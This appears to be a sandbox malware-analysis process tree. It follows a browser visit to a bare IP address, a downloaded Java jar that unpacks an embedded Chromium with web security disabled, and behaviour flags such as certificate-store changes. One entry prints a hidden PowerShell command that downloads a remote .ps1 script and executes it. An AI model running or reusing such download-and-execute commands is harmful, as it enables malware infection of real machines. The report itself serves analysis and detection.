"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://101.37.166.228/
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:340
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe9d2bcc40,0x7ffe9d2bcc4c,0x7ffe9d2bcc58
  2⤵
  PID:276
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1904,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=1900 /prefetch:2
  2⤵
  PID:3412
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2100,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2104 /prefetch:3
  2⤵
  PID:4048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2184,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2364 /prefetch:8
  2⤵
  PID:4076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3008,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3028 /prefetch:1
  2⤵
  PID:1940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3180,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3176 /prefetch:1
  2⤵
  PID:3908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4516,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4532 /prefetch:8
  2⤵
  PID:2012
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=5012,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4996 /prefetch:1
  2⤵
  PID:4848
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3212,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3176 /prefetch:1
  2⤵
  PID:3600
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4868,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4908 /prefetch:1
  2⤵
  PID:1848
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=5112,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4752 /prefetch:1
  2⤵
  PID:4640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5188,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5196 /prefetch:8
  2⤵
  PID:8
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5340,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5348 /prefetch:8
  2⤵
  PID:1300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5364,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5360 /prefetch:8
  2⤵
  PID:4908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5484,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5292 /prefetch:8
  2⤵
  PID:576
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=4912,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5008 /prefetch:1
  2⤵
  PID:1096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=4920,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5208 /prefetch:1
  2⤵
  PID:4648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=3268,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3488 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=4572,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5156 /prefetch:1
  2⤵
  PID:5188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=3116,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3364 /prefetch:1
  2⤵
  PID:908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=4852,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4996 /prefetch:1
  2⤵
  PID:5464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=4924,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5160 /prefetch:1
  2⤵
  PID:2336
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5316,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3356 /prefetch:8
  2⤵
  PID:768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4796,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5372 /prefetch:8
  2⤵
  PID:5916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --field-trial-handle=3144,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=276 /prefetch:1
  2⤵
  PID:4724
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --field-trial-handle=4988,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4712 /prefetch:1
  2⤵
  PID:3832
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --field-trial-handle=3364,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5212 /prefetch:1
  2⤵
  PID:244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --field-trial-handle=4712,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4812 /prefetch:1
  2⤵
  PID:2440
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5524,i,4145197940027607687,7882539303475337510,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4832 /prefetch:8
  2⤵
  - NTFS ADS
  PID:3120
- C:\Program Files\Java\jre-1.8\bin\javaw.exe
  "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\Downloads\insuranceclient-cookies.jar"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:5648
- - C:\Program Files\Java\jre-1.8\bin\java.exe
    "C:\Program Files\Java\jre-1.8\bin\java" -Xmx1024m -Djava.util.Arrays.useLegacyMergeSort=true -Dcom.sun.net.ssl.checkRevocation=false -cp "C:\Users\Admin\.apppreloads\https_3.127.125.228_insurance_preload\4c382311a44b371bad99baa93bc2468e800accaa697d33283820cd3c48fc386a\jars\default\*;C:\Users\Admin\.apppreloads\https_3.127.125.228_insurance_preload\4c382311a44b371bad99baa93bc2468e800accaa697d33283820cd3c48fc386a\jars\arch64\*" com.prodinf.base.client.BrowserWrapper
    3⤵
    - Loads dropped DLL
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:2104
  - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\7zr.exe
      "C:\Users\Admin\AppData\Local\JxBrowser\7.27\7zr.exe" -aoa -oC:\Users\Admin\AppData\Local\JxBrowser\7.27 x C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium-win64.7z
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1728
  - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
      "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --port=51277 --pid=2104 --browsercore --no-default-browser-check --lang=en-us --disable-web-security --allow-file-access-from-files --proprietary-features=0 --user-data-dir=C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache --dpi-awareness=system-aware --disable-fill-background --disable-direct-composition --crash-dump-dir=C:\Users\Admin\AppData\Local\JxBrowser\7.27\CrashReports
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks system information in the registry
      Enumerates system info in registry
      Modifies system certificate store
      PID:5572
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler --monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\JxBrowser\7.27\CrashReports --annotation=plat=Win64 --annotation=prod=Chromium --annotation=ver=102.0.5005.167 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffe83fb8c28,0x7ffe83fb8c38,0x7ffe83fb8c48
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4844
      - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\JxBrowser\7.27\CrashReports --annotation=plat=Win64 --annotation=prod=Chromium --annotation=ver=102.0.5005.167 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ff62dab2130,0x7ff62dab2140,0x7ff62dab2150
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3660
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=gpu-process --disable-direct-composition --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --start-stack-profiler --disable-gpu-sandbox --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1688 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:2
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5480
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --mojo-platform-channel-handle=2124 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5296
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --disable-client-side-phishing-detection --display-capture-permissions-policy-allowed --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2884 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4756
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --extension-process --disable-client-side-phishing-detection --display-capture-permissions-policy-allowed --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2892 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5348
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --disable-client-side-phishing-detection --display-capture-permissions-policy-allowed --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3648 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5580
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --mojo-platform-channel-handle=5260 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2840
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --mojo-platform-channel-handle=5352 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5372
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --mojo-platform-channel-handle=5216 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1016
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --mojo-platform-channel-handle=5000 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1988
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --mojo-platform-channel-handle=4968 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2436
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --mojo-platform-channel-handle=3276 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:420
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --mojo-platform-channel-handle=5240 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5576
    - - C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe
        
        "C:\Users\Admin\AppData\Local\JxBrowser\7.27\chromium.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --disable-direct-composition --user-data-dir="C:\Users\Admin\AppData\Local\Temp\.jxBrowser\instances\cache_1\cache" --start-stack-profiler --disable-gpu-sandbox --engine-id=1ee44869-46fe-4633-b56f-cc1d7516ff55 --browsercore --dpi-awareness=system-aware --port=51277 --pid=2104 --proprietary-features=0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1032 --field-trial-handle=1952,i,9875129000343428776,17319840842138113678,131072 /prefetch:2
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:772

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c ". ([Scriptblock]::Create((([System.Text.Encoding]::ASCII).getString((Invoke-WebRequest -Uri " https://juanbanpar.github.io/gradlove/amor.ps1).Content))))powershell -w h -c ". ([Scriptblock]::Create((([System.Text.Encoding]::ASCII).getString((Invoke-WebRequest -Uri " https://juanbanpar.github.io/gradlove/amor.ps1).Content))))
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Sets desktop wallpaper using registry
  - Suspicious behavior: EnumeratesProcesses
  PID:4324
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j3st50nt\j3st50nt.cmdline"
    3⤵
    PID:4112
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6BD.tmp" "c:\Users\Admin\AppData\Local\Temp\j3st50nt\CSCAC60B0ECC1824FBAB4D24077472915D4.TMP"
      4⤵
      PID:3364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://teams.microsoft.com/l/channel/19%3acd6d7b457ff84d86b3a182a310139597%40thread.tacv2/Random?groupId=1a0ebcf0-5300-494f-a968-317e4e6c7a42&tenantId=66102552-ecf2-44f2-aeee-14fa85460e0f
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
